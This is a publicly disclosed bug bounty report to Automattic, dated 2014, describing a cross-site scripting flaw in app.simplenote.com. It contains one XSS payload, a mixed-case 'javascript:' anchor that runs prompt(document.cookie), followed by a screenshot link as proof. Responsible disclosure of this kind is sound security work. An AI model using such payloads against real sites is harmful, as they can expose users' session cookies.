Automattic · Report #13703

xss in app.simplenote.com

Validstatus

3upvotes

8 Jul 2014disclosed

How it was found

Hello Automattic,

I found xss here app.simplenote.com

XSS Payload: <a href="jAvAsCrIpT&colon;prompt(document.cookie)">CLICK ME TO PROMPT</a>

Proof of Concept: http://i.imgur.com/8Ai0deF.png

Thanks, Jerold Camacho

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original